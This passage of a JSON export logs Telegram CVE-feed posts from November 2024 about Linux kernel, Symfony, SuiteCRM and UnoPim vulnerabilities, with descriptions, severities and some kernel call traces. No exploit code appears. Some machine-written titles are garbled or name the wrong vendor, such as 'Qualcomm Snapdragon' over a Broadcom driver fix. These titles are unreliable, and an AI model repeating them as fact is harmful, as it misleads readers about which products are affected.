<4[  574.475430]  net_rx_action+0x32d/0x3a0 <4[  574.475441]  handle_softirqs+0xcb/0x2c0 <4[  574.475451]  do_softirq+0x40/0x60 <4[  574.475458] <4[  574.475461] <4[  574.475464]  __local_bh_enable_ip+0x66/0x70 <4[  574.475471]  __dev_queue_xmit+0x268/0xe40 <4[  574.475480]  ? selinux_ip_postroute+0x213/0x420 <4[  574.475491]  ? alloc_skb_with_frags+0x4a/0x1d0 <4[  574.475502]  ip6_finish_output2+0x2be/0x640 <4[  574.475512]  ? nf_hook_slow+0x42/0xf0 <4[  574.475521]  ip6_finish_output+0x194/0x300 <4[  574.475529]  ? __pfx_ip6_finish_output+0x10/0x10 <4[  574.475538]  mld_sendpack+0x17c/0x240 <4[  574.475548]  mld_ifc_work+0x192/0x410 <4[  574.475557]  process_one_work+0x15d/0x380 <4[  574.475566]  worker_thread+0x29d/0x3a0 <4[  574.475573]  ? __pfx_worker_t[...]", "creation_timestamp": "2024-11-07T11:54:25.000000Z"}, {"uuid": "1280c4b5-4d5e-4cbd-9c69-28f1288c1652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50160", "type": "seen", "source": "https://t.me/cvedetector/10069", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50160 - Linux ALSA hda poate Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-50160 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nALSA: hda/cs8409: Fix possible NULL dereference  \n  \nIf snd_hda_gen_add_kctl fails to allocate memory and returns NULL, then  \nNULL pointer dereference will occur in the next line.  \n  \nSince dolphin_fixups function is a hda_fixup function which is not supposed  \nto return any errors, add simple check before dereference, ignore the fail.  \n  \nFound by Linux Verification Center (linuxtesting.org) with SVACE. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:24.000000Z"}, {"uuid": "a70b3433-1ccf-48ea-b2da-c571bee6d3da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50159", "type": "seen", "source": "https://t.me/cvedetector/10068", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50159 - \"ARM SCM Double Free Firmware Vuln\"\", \n  \"Content\": \"CVE ID : CVE-2024-50159 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfirmware: arm_scmi: Fix the double free in scmi_debugfs_common_setup()  \n  \nClang static checker(scan-build) throws below warning\uff1a  \n  |  drivers/firmware/arm_scmi/driver.c:line 2915, column 2  \n  |        Attempt to free released memory.  \n  \nWhen devm_add_action_or_reset() fails, scmi_debugfs_common_cleanup()  \nwill run twice which causes double free of 'dbg->name'.  \n  \nRemove the redundant scmi_debugfs_common_cleanup() to fix this problem. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:24.000000Z"}, {"uuid": "70694d6f-7143-4a7f-b4e6-e2231b64dce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50342", "type": "seen", "source": "https://t.me/cvedetector/10047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50342 - Symfony HTTP Client IP/Port Enumeration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50342 \nPublished : Nov. 6, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : symfony/http-client is a module for the Symphony PHP framework which provides powerful methods to fetch HTTP resources synchronously or asynchronously. When using the `NoPrivateNetworkHttpClient`, some internal information is still leaking during host resolution, which leads to possible IP/port enumeration. As of versions 5.4.46, 6.4.14, and 7.1.7 the `NoPrivateNetworkHttpClient` now filters blocked IPs earlier to prevent such leaks. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T23:21:38.000000Z"}, {"uuid": "d132eda7-98c0-4798-a1d8-ffac66087a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50171", "type": "seen", "source": "https://t.me/cvedetector/10065", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50171 - Qualcomm Snapdragon Linux Kernel Memory Leak\", \n  \"Content\": \"CVE ID : CVE-2024-50171 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: systemport: fix potential memory leak in bcm_sysport_xmit()  \n  \nThe bcm_sysport_xmit() returns NETDEV_TX_OK without freeing skb  \nin case of dma_map_single() fails, add dev_kfree_skb() to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:18.000000Z"}, {"uuid": "2d94f6cd-3fd7-4898-8c8a-103cbeff569b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50170", "type": "seen", "source": "https://t.me/cvedetector/10064", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50170 - BCM BCMASPRTLinux Kernel Memory Leak\", \n  \"Content\": \"CVE ID : CVE-2024-50170 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: bcmasp: fix potential memory leak in bcmasp_xmit()  \n  \nThe bcmasp_xmit() returns NETDEV_TX_OK without freeing skb  \nin case of mapping fails, add dev_kfree_skb() to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:18.000000Z"}, {"uuid": "c8976eea-859e-4e30-84a6-a7903b1eeb7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50172", "type": "seen", "source": "https://t.me/cvedetector/10063", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50172 - Broadcom NetXtreme RDMA Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50172 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/bnxt_re: Fix a possible memory leak  \n  \nIn bnxt_re_setup_chip_ctx() when bnxt_qplib_map_db_bar() fails  \ndriver is not freeing the memory allocated for \"rdev->chip_ctx\". \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:17.000000Z"}, {"uuid": "85bc3c70-c2ca-4050-aeb1-eb5350dbe966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50169", "type": "seen", "source": "https://t.me/cvedetector/10062", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50169 - Virtio Transport Vsock Rx Bytes Inconsistency Vulnerability in Linux Kernel\", \n  \"Content\": \"CVE ID : CVE-2024-50169 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nvsock: Update rx_bytes on read_skb()  \n  \nMake sure virtio_transport_inc_rx_pkt() and virtio_transport_dec_rx_pkt()  \ncalls are balanced (i.e. virtio_vsock_sock::rx_bytes doesn't lie) after  \nvsock_transport::read_skb().  \n  \nWhile here, also inform the peer that we've freed up space and it has more  \ncredit.  \n  \nFailing to update rx_bytes after packet is dequeued leads to a warning on  \nSOCK_STREAM recv():  \n  \n[  233.396654] rx_queue is empty, but rx_bytes is non-zero  \n[  233.396702] WARNING: CPU: 11 PID: 40601 at net/vmw_vsock/virtio_transport_common.c:589 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:16.000000Z"}, {"uuid": "7e84bd52-aafe-4831-ac41-0614e00db456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50341", "type": "seen", "source": "https://t.me/cvedetector/10046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50341 - Symfony Security-Bundle Unauthenticated Login Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50341 \nPublished : Nov. 6, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : symfony/security-bundle is a module for the Symphony PHP framework which provides a tight integration of the Security component into the Symfony full-stack framework. The custom `user_checker` defined on a firewall is not called when Login Programmaticaly with the `Security::login` method, leading to  unwanted login. As of versions 6.4.10, 7.0.10 and 7.1.3 the `Security::login` method now ensure to call the configured `user_checker`. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T23:21:37.000000Z"}, {"uuid": "0d6ea488-3cd0-4220-8440-481ee6d4d8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50340", "type": "seen", "source": "https://t.me/cvedetector/10045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50340 - Symfony/runtime PHP Directive Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50340 \nPublished : Nov. 6, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T23:21:34.000000Z"}, {"uuid": "e484d1b1-ef61-4991-a378-f0197b4abfc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50345", "type": "seen", "source": "https://t.me/cvedetector/10042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50345 - Symfony HTTP-Foundation Cross-Site Redirect Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-50345 \nPublished : Nov. 6, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : symfony/http-foundation is a module for the Symphony PHP framework which defines an object-oriented layer for the HTTP specification. The `Request` class, does not parse URI with special characters the same way browsers do. As a result, an attacker can trick a validator relying on the `Request` class to redirect users to another domain. The `Request::create` methods now assert the URI does not contain invalid characters as defined by . This issue has been patched in versions 5.4.46, 6.4.14, and 7.1.7. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T23:21:32.000000Z"}, {"uuid": "2a9f00ea-578b-4603-987c-8c723b33e90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50343", "type": "seen", "source": "https://t.me/cvedetector/10041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50343 - Symfony/Validator Regular Expression Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50343 \nPublished : Nov. 6, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : symfony/validator is a module for the Symphony PHP framework which provides tools to validate values. It is possible to trick a `Validator` configured with a regular expression using the `$` metacharacters, with an input ending with `\\n`. Symfony as of versions 5.4.43, 6.4.11, and 7.1.4 now uses the `D` regex modifier to match the entire input. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T23:21:31.000000Z"}, {"uuid": "968bc55d-f5c8-44b8-8de8-5238d171f8d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50637", "type": "seen", "source": "https://t.me/cvedetector/10015", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50637 - UnoPim Cross-Site Scripting (XSS) Vulnerability in Create User Function\", \n  \"Content\": \"CVE ID : CVE-2024-50637 \nPublished : Nov. 6, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : UnoPim 0.1.3 and below is vulnerable to Cross Site Scripting (XSS) in the Create User function. \u00b6\u00b6 The vulnerability allows attackers to perform XSS in SVG file extension, which can be used to stealing cookies. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T19:10:35.000000Z"}, {"uuid": "ce586e88-531c-4c51-9038-d1d7f204ea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50333", "type": "seen", "source": "https://t.me/cvedetector/9944", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50333 - SuiteCRM File Write OS CommandInjection\", \n  \"Content\": \"CVE ID : CVE-2024-50333 \nPublished : Nov. 5, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. User input is not validated and is written to the filesystem. The ParserLabel::addLabels() function can be used to write attacker-controlled data into the custom language file that will be included at the runtime. This issue has been addressed in versions 7.14.6 and 8.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T21:25:48.000000Z"}, {"uuid": "0d71356b-b4ae-45b1-b374-714bd0ae3871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50332", "type": "seen", "source": "https://t.me/cvedetector/9943", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50332 - SuiteCRM Blind SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50332 \nPublished : Nov. 5, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Insufficient input value validation causes Blind SQL injection in DeleteRelationShip. This issue has been addressed in versions 7.14.6 and 8.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T21:25:47.000000Z"}, {"uuid": "6e6867e9-4d3a-49ea-ac10-08d8cad4d90e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50120", "type": "seen", "source": "https://t.me/cvedetector/9924", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50120 - Samba kernel Memory Allocationassi\", \n  \"Content\": \"CVE ID : CVE-2024-50120 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsmb: client: Handle kstrdup failures for passwords  \n  \nIn smb3_reconfigure(), after duplicating ctx->password and  \nctx->password2 with kstrdup(), we need to check for allocation  \nfailures.  \n  \nIf ses->password allocation fails, return -ENOMEM.  \nIf ses->password2 allocation fails, free ses->password, set it  \nto NULL, and return -ENOMEM. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:28.000000Z"}, {"uuid": "7f6244f9-7daf-4bb0-8024-6963fa7456cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50096", "type": "seen", "source": "https://t.me/cvedetector/9908", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50096 - \"Nouveau DMA Memory Zero-Page Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-50096 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnouveau/dmem: Fix vulnerability in migrate_to_ram upon copy error  \n  \nThe `nouveau_dmem_copy_one` function ensures that the copy push command is  \nsent to the device firmware but does not track whether it was executed  \nsuccessfully.  \n  \nIn the case of a copy error (e.g., firmware or hardware failure), the  \ncopy push command will be sent via the firmware channel, and  \n`nouveau_dmem_copy_one` will likely report success, leading to the  \n`migrate_to_ram` function returning a dirty HIGH_USER page to the user.  \n  \nThis can result in a security vulnerability, as a HIGH_USER page that may  \ncontain sensitive or corrupted data could be returned to the user.  \n  \nTo prevent this vulnerability, we allocate a zero page. Thus, in case of  \nan error, a non-dirty (zero) page will be returned to the user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:59.000000Z"}, {"uuid": "1b82cada-ef60-4567-922c-54d79d7fb9f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50095", "type": "seen", "source": "https://t.me/cvedetector/9907", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50095 - Dell PowerEdge R740 RDMA MAD Agent Soft Lockup Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50095 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/mad: Improve handling of timed out WRs of mad agent  \n  \nCurrent timeout handler of mad agent acquires/releases mad_agent_priv  \nlock for every timed out WRs. This causes heavy locking contention  \nwhen higher no. of WRs are to be handled inside timeout handler.  \n  \nThis leads to softlockup with below trace in some use cases where  \nrdma-cm path is used to establish connection between peer nodes  \n  \nTrace:  \n-----  \n BUG: soft lockup - CPU#4 stuck for 26s! [kworker/u128:3:19767]  \n CPU: 4 PID: 19767 Comm: kworker/u128:3 Kdump: loaded Tainted: G OE  \n     -------  ---  5.14.0-427.13.1.el9_4.x86_64 #1  \n Hardware name: Dell Inc. PowerEdge R740/01YM03, BIOS 2.4.8 11/26/2019  \n Workqueue: ib_mad1 timeout_sends [ib_core]  \n RIP: 0010:__do_softirq+0x78/0x2ac  \n RSP: 0018:ffffb253449e4f98 EFLAGS: 00000246  \n RAX: 00000000ffffffff RBX: 0000000000000000 RCX: 000000000000001f  \n RDX: 000000000000001d RSI: 000000003d1879ab RDI: fff363b66fd3a86b  \n RBP: ffffb253604cbcd8 R08: 0000009065635f3b R09: 0000000000000000  \n R10: 0000000000000040 R11: ffffb253449e4ff8 R12: 0000000000000000  \n R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000040  \n FS:  0000000000000000(0000) GS:ffff8caa1fc80000(0000) knlGS:0000000000000000  \n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \n CR2: 00007fd9ec9db900 CR3: 0000000891934006 CR4: 00000000007706e0  \n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  \n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  \n PKRU: 55555554  \n Call Trace:  \n    \n  ? show_trace_log_lvl+0x1c4/0x2df  \n  ? show_trace_log_lvl+0x1c4/0x2df  \n  ? __irq_exit_rcu+0xa1/0xc0  \n  ? watchdog_timer_fn+0x1b2/0x210  \n  ? __pfx_watchdog_timer_fn+0x10/0x10  \n  ? __hrtimer_run_queues+0x127/0x2c0  \n  ? hrtimer_interrupt+0xfc/0x210  \n  ? __sysvec_apic_timer_interrupt+0x5c/0x110  \n  ? sysvec_apic_timer_interrupt+0x37/0x90  \n  ? asm_sysvec_apic_timer_interrupt+0x16/0x20  \n  ? __do_softirq+0x78/0x2ac  \n  ? __do_softirq+0x60/0x2ac  \n  __irq_exit_rcu+0xa1/0xc0  \n  sysvec_call_function_single+0x72/0x90  \n    \n    \n  asm_sysvec_call_function_single+0x16/0x20  \n RIP: 0010:_raw_spin_unlock_irq+0x14/0x30  \n RSP: 0018:ffffb253604cbd88 EFLAGS: 00000247  \n RAX: 000000000001960d RBX: 0000000000000002 RCX: ffff8cad2a064800  \n RDX: 000000008020001b RSI: 0000000000000001 RDI: ffff8cad5d39f66c  \n RBP: ffff8cad5d39f600 R08: 0000000000000001 R09: 0000000000000000  \n R10: ffff8caa443e0c00 R11: ffffb253604cbcd8 R12: ffff8cacb8682538  \n R13: 0000000000000005 R14: ffffb253604cbd90 R15: ffff8cad5d39f66c  \n  cm_process_send_error+0x122/0x1d0 [ib_cm]  \n  timeout_sends+0x1dd/0x270 [ib_core]  \n  process_one_work+0x1e2/0x3b0  \n  ? __pfx_worker_thread+0x10/0x10  \n  worker_thread+0x50/0x3a0  \n  ? __pfx_worker_thread+0x10/0x10  \n  kthread+0xdd/0x100  \n  ? __pfx_kthread+0x10/0x10  \n  ret_from_fork+0x29/0x50  \n    \n  \nSimplified timeout handler by creating local list of timed out WRs  \nand invoke send handler post creating the list. The new method acquires/  \nreleases lock once to fetch the list and hence helps to reduce locking  \ncontetiong when processing higher no. of WRs \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:55.000000Z"}, {"uuid": "c74573d6-074f-4368-9ab3-ade7b79268ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50094", "type": "seen", "source": "https://t.me/cvedetector/9906", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50094 - \"Philips SFC Linux Net Driver Unconditional XDP Flush Buffer Over-Write\"\", \n  \"Content\": \"CVE ID : CVE-2024-50094 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsfc: Don't invoke xdp_do_flush() from netpoll.  \n  \nYury reported a crash in the sfc driver originated from  \nnetpoll_send_udp(). The netconsole sends a message and then netpoll  \ninvokes the driver's NAPI function with a budget of zero. It is  \ndedicated to allow driver to free TX resources, that it may have used  \nwhile sending the packet.  \n  \nIn the netpoll case the driver invokes xdp_do_flush() unconditionally,  \nleading to crash because bpf_net_context was never assigned.  \n  \nInvoke xdp_do_flush() only if budget is not zero. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:54.000000Z"}, {"uuid": "72ffce6b-3eee-4606-b160-5214806ee75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50093", "type": "seen", "source": "https://t.me/cvedetector/9905", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50093 - Intel processor_thermal Linux PCI Device Disable Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50093 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nthermal: intel: int340x: processor: Fix warning during module unload  \n  \nThe processor_thermal driver uses pcim_device_enable() to enable a PCI  \ndevice, which means the device will be automatically disabled on driver  \ndetach.  Thus there is no need to call pci_disable_device() again on it.  \n  \nWith recent PCI device resource management improvements, e.g. commit  \nf748a07a0b64 (\"PCI: Remove legacy pcim_release()\"), this problem is  \nexposed and triggers the warining below.  \n  \n [  224.010735] proc_thermal_pci 0000:00:04.0: disabling already-disabled device  \n [  224.010747] WARNING: CPU: 8 PID: 4442 at drivers/pci/pci.c:2250 pci_disable_device+0xe5/0x100  \n ...  \n [  224.010844] Call Trace:  \n [  224.010845]    \n [  224.010847]  ? show_regs+0x6d/0x80  \n [  224.010851]  ? __warn+0x8c/0x140  \n [  224.010854]  ? pci_disable_device+0xe5/0x100  \n [  224.010856]  ? report_bug+0x1c9/0x1e0  \n [  224.010859]  ? handle_bug+0x46/0x80  \n [  224.010862]  ? exc_invalid_op+0x1d/0x80  \n [  224.010863]  ? asm_exc_invalid_op+0x1f/0x30  \n [  224.010867]  ? pci_disable_device+0xe5/0x100  \n [  224.010869]  ? pci_disable_device+0xe5/0x100  \n [  224.010871]  ? kfree+0x21a/0x2b0  \n [  224.010873]  pcim_disable_device+0x20/0x30  \n [  224.010875]  devm_action_release+0x16/0x20  \n [  224.010878]  release_nodes+0x47/0xc0  \n [  224.010880]  devres_release_all+0x9f/0xe0  \n [  224.010883]  device_unbind_cleanup+0x12/0x80  \n [  224.010885]  device_release_driver_internal+0x1ca/0x210  \n [  224.010887]  driver_detach+0x4e/0xa0  \n [  224.010889]  bus_remove_driver+0x6f/0xf0  \n [  224.010890]  driver_unregister+0x35/0x60  \n [  224.010892]  pci_unregister_driver+0x44/0x90  \n [  224.010894]  proc_thermal_pci_driver_exit+0x14/0x5f0 [processor_thermal_device_pci]  \n ...  \n [  224.010921] ---[ end trace 0000000000000000 ]---  \n  \nRemove the excess pci_disable_device() calls.  \n  \n[ rjw: Subject and changelog edits ] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n 